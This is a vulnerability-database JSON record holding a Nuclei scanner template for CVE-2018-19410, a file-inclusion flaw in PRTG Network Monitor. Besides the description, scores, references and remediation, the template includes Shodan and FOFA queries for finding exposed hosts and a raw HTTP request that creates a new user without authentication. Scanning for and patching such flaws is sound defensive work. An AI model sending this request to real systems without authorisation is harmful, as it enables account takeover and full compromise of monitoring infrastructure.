{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2018-19410/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2018-19410/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2018-19410/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2018-19410/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2018-19410/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2018-19410"},"sightings":{"href":"/api/v1/sightings/cve-2018-19410"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2018/CVE-2018-19410.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2018-19410\n\ninfo:\n  name: PRTG Network Monitor - Local File Inclusion\n  author: DhiyaneshDK\n  severity: critical\n  description: |\n    PRTG Network Monitor before 18.2.40.1683 allows remote unauthenticated attackers to create users with read-write privileges (including administrator). A remote unauthenticated user can craft an HTTP request and override attributes of the 'include' directive in /public/login.htm and perform a Local File Inclusion attack, by including /api/addusers and executing it. By providing the 'id' and 'users' parameters, an unauthenticated attacker can create a user with read-write privileges (including administrator).\n  impact: |\n    Unauthenticated attackers can create administrator users with full privileges via local file inclusion, leading to complete compromise of the monitoring system and access to network infrastructure.\n  remediation: |\n    Upgrade to PRTG Network Monitor version 18.2.40.1683 or later and ensure the /public directory is properly secured.\n  reference:\n    - https://global.ptsecurity.com/analytics/threatscape/pt-2018-24\n    - https://github.com/himash/CVE-2018-19410-POC\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2018-19410\n    epss-score: 0.97939\n    epss-percentile: 0.99907\n    cpe: cpe:2.3:a:paessler:prtg_network_monitor:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    vendor: paessler\n    product: prtg_network_monitor\n    shodan-query:\n      - http.favicon.hash:\"-655683626\"\n      - http.title:\"prtg\"\n    fofa-query:\n      - icon_hash=-655683626\n      - title=\"prtg\"\n    google-query: intitle:\"prtg\"\n  tags: cve,cve2018,prtg,lfi,kev,vkev,vuln\n\nvariables:\n  username: \"{{rand_base(6)}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /public/login.htm?file=/api/addusers.htm HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded; charset=UTF-8\n        X-Requested-With: XMLHttpRequest\n        Origin: {{RootURL}}\n        Referer: {{RootURL}}\n\n        id=200&users={{username}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        words:\n          - 'Added 1 users'\n          - 'prtg'\n        part: body\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a004830460221008241854e6adf0ae1763cc99b4b511f608aeb291234e26cfd47b744012908a7a90221009448a18c3560413e024ce57e71d41f92cd1db5ab1366a59899eb7e12d61d45c9:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2018-19410"}